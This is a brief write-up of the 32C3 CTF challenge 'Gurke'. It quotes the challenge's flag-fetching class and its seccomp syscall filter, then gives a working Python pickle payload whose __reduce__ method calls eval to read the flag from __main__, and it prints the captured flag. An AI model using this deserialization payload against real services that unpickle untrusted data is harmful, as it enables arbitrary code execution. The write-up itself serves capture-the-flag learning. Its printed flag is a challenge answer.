32C3 CTF - Misc 300 - Gurke

This challenge is about python pickle. The remote script fetches the flag as below:

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
  
flag = Flag()

Once the Flag class is instantiated, seccomp is used to restrict many of syscalls eg. socket calls used in Flag class won't work

f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno()))
f.add_rule_exactly(ALLOW, "close")
f.add_rule_exactly(ALLOW, "exit_group")

f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0))
f.add_rule_exactly(ALLOW, "stat")
f.add_rule_exactly(ALLOW, "lstat")
f.add_rule_exactly(ALLOW, "lseek")
f.add_rule_exactly(ALLOW, "fstat")
f.add_rule_exactly(ALLOW, "getcwd")
f.add_rule_exactly(ALLOW, "readlink")
f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2))
f.add_rule_exactly(ALLOW, "munmap")

But since the flag is already present in the scope of __main__, we can fetch it using the below pickle payload

class payload(object):
    def __reduce__(self):
        return (eval, ("__import__('__main__').flag.flag",))

sploit = pickle.dumps(payload())

Flag for the challenge is 32c3_rooDahPaeR3JaibahYeigoong